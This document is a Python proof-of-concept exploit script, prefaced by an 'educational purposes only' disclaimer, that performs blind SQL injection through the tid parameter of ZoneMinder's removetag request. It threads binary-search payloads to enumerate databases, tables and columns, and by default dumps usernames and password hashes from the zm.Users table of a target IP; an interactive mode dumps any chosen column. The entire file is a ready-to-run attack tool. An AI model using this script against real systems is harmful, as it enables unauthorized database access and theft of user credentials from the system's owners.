# DISCLAIMER: # This script is a Proof of Concept (PoC) for educational purposes only. # Do not use it for illegal activities. The author is not responsible for any misuse. import requests import urllib.parse from concurrent.futures import ThreadPoolExecutor, as_completed import sys import argparse # make it pretty ORANGE = '\033[0;33m' GREEN = '\033[0;32m' RESET = '\033[0m' MAX_LENGTH = 255 # max length of names - cater for long hashed passwords def generate_payload(offset, pos, mid, db=None, table=None, column=None, column_type=False, dump_column=False): if dump_column and db and table and column is not None: hex_db = db.encode().hex() hex_table = table.encode().hex() hex_column = column.encode().hex() payload = ( f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST({column} AS NCHAR),0x20) " f"FROM {db}.{table} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))" ) elif column_type and db and table and column is not None: hex_db = db.encode().hex() hex_table = table.encode().hex() payload = ( f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(column_type AS NCHAR),0x20) " f"FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=0x{hex_db} " f"AND table_name=0x{hex_table} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))" ) elif column is not None and db and table: hex_db = db.encode().hex() hex_table = table.encode().hex() payload = ( f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(column_name AS NCHAR),0x20) " f"FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=0x{hex_db} " f"AND table_name=0x{hex_table} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))" ) elif db and not table: hex_db = db.encode().hex() payload = ( f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) " f"FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x{hex_db} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))" ) else: payload = ( f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(schema_name AS NCHAR),0x20) " f"FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))" ) return urllib.parse.quote(payload) def test_char(ip, offset, pos, mid, db=None, table=None, column=None, column_type=False, dump_column=False): url = f"http://{ip}/zm/index.php?view=request&request=event&action=removetag&tid={generate_payload(offset, pos, mid, db, table, column, column_type, dump_column)}" try: r = requests.get(url, timeout=5) return r.status_code == 200 except Exception: return False def extract_char(ip, offset, pos, db=None, table=None, column=None, column_type=False, dump_column=False): low = 32 high = 126 while low <= high: mid = (low + high) // 2 if test_char(ip, offset, pos, mid, db, table, column, column_type, dump_column): low = mid + 1 else: high = mid - 1 if low < 32 or low > 126: return None return low def extract_name(ip, offset, db=None, table=None, column=None, column_type=False, dump_column=False): chars = [None] * MAX_LENGTH with ThreadPoolExecutor(max_workers=MAX_LENGTH) as executor: futures = {executor.submit(extract_char, ip, offset, pos+1, db, table, column, column_type, dump_column): pos for pos in range(MAX_LENGTH)} for future in as_completed(futures): pos = futures[future] chars[pos] = future.result() name_chars = [] for c in chars: if c is None: break name_chars.append(chr(c)) return ''.join(name_chars).strip() def extract_databases(ip): print(f"{ORANGE}[*] Extracting all database names:{RESET}") dbnames = [] empty_count = 0 offset = 0 while True: dbname = extract_name(ip, offset) if dbname == "": empty_count += 1 if empty_count >= 1: print(f"{ORANGE}[*] No more databases found{RESET}") break else: empty_count = 0 print(dbname) dbnames.append(dbname) offset += 1 return dbnames def extract_tables(ip, dbname): print(f"\n{ORANGE}[*] Extracting tables from database '{dbname}':{RESET}") tablenames = [] empty_count = 0 offset = 0 while True: tablename = extract_name(ip, offset, db=dbname) if tablename == "": empty_count += 1 if empty_count >= 1: print(f"{ORANGE}[*] No more tables found in database '{dbname}'{RESET}") break else: empty_count = 0 print(tablename) tablenames.append(tablename) offset += 1 return tablenames def extract_columns(ip, dbname, tablename): print(f"\n{ORANGE}[*] Extracting columns from table '{tablename}' in database '{dbname}':{RESET}") columns = [] empty_count = 0 offset = 0 while True: col_name = extract_name(ip, offset, db=dbname, table=tablename, column=offset, column_type=False) if col_name == "": empty_count += 1 if empty_count >= 1: print(f"{ORANGE}[*] No more columns found in table '{tablename}'{RESET}") break else: empty_count = 0 col_type = extract_name(ip, offset, db=dbname, table=tablename, column=offset, column_type=True) columns.append((col_name, col_type)) print(f"{col_name:<20} {col_type}") offset += 1 return columns def dump_column_data(ip, dbname, tablename, column): values = [] offset = 0 while True: value = extract_name(ip, offset, db=dbname, table=tablename, column=column, dump_column=True) if value == "": break values.append(value) offset += 1 return values def main(): parser = argparse.ArgumentParser(description="Extract DB names, tables, columns, and dump data via blind SQLi") parser.add_argument("-i", "--ip", required=True, help="Target IP address") parser.add_argument("--discovery", action="store_true", help="Run full interactive discovery mode") args = parser.parse_args() ip = args.ip if not args.discovery: selected_db = "zm" selected_table = "Users" username_col = "Username" password_col = "Password" print(f"{ORANGE}[*] Enumerating database '{selected_db}.{selected_table}'{RESET}") usernames = dump_column_data(ip, selected_db, selected_table, username_col) passwords = dump_column_data(ip, selected_db, selected_table, password_col) if not usernames or not passwords: print(f"[!] Couldn't find default database settings, please try manual checks") print(f"[*] Usage. python3 poc.py -i --discovery") return print(f"{GREEN}[!] Found User and Password :{RESET}") for u, p in zip(usernames, passwords): print(f"{u}:{p}") return dbnames = extract_databases(ip) if not dbnames: print("[!] No databases found.") sys.exit(1) print(f"\n{GREEN}[+] Successfully extracted database names:{RESET}") for i, dbname in enumerate(dbnames, 1): print(f"{i}) {dbname}") choice = input(f"\nSelect database to enumerate tables [1-{len(dbnames)}]: ") idx = int(choice) - 1 selected_db = dbnames[idx] tables = extract_tables(ip, selected_db) print(f"\n{GREEN}[+] Successfully extracted tables in database '{selected_db}':{RESET}") for i, table in enumerate(tables, 1): print(f"{i}) {table}") table_choice = input(f"\nSelect table to enumerate columns [1-{len(tables)}]: ") t_idx = int(table_choice) - 1 selected_table = tables[t_idx] columns = extract_columns(ip, selected_db, selected_table) print(f"\n{GREEN}[+] Columns in table '{selected_table}':{RESET}") print(f"{'Column Name':<20} Type") print("-" * 40) for i, (col_name, col_type) in enumerate(columns, 1): print(f"{i}) {col_name:<20} {col_type}") col_choices = input(f"\nSelect columns to dump data (comma-separated) [1-{len(columns)}] or press Enter to skip: ") if col_choices.strip(): indices = [int(i.strip()) - 1 for i in col_choices.split(',') if i.strip().isdigit()] for idx in indices: selected_column = columns[idx][0] values = dump_column_data(ip, selected_db, selected_table, selected_column) print(f"\n{ORANGE}[*] Dumping data from column '{selected_column}' in table '{selected_table}' of database '{selected_db}':{RESET}") for v in values: print(v) if __name__ == "__main__": main()